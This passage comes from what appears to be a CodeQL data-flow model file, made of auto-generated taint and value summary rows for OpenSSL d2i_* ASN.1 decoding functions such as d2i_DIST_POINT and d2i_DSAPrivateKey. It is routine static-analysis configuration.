**,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DHparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DHxparams", "(DH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIRECTORYSTRING", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DISPLAYTEXT", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT", "(DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DIST_POINT_NAME", "(DIST_POINT_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_bio", "(BIO *,DSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPrivateKey_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", 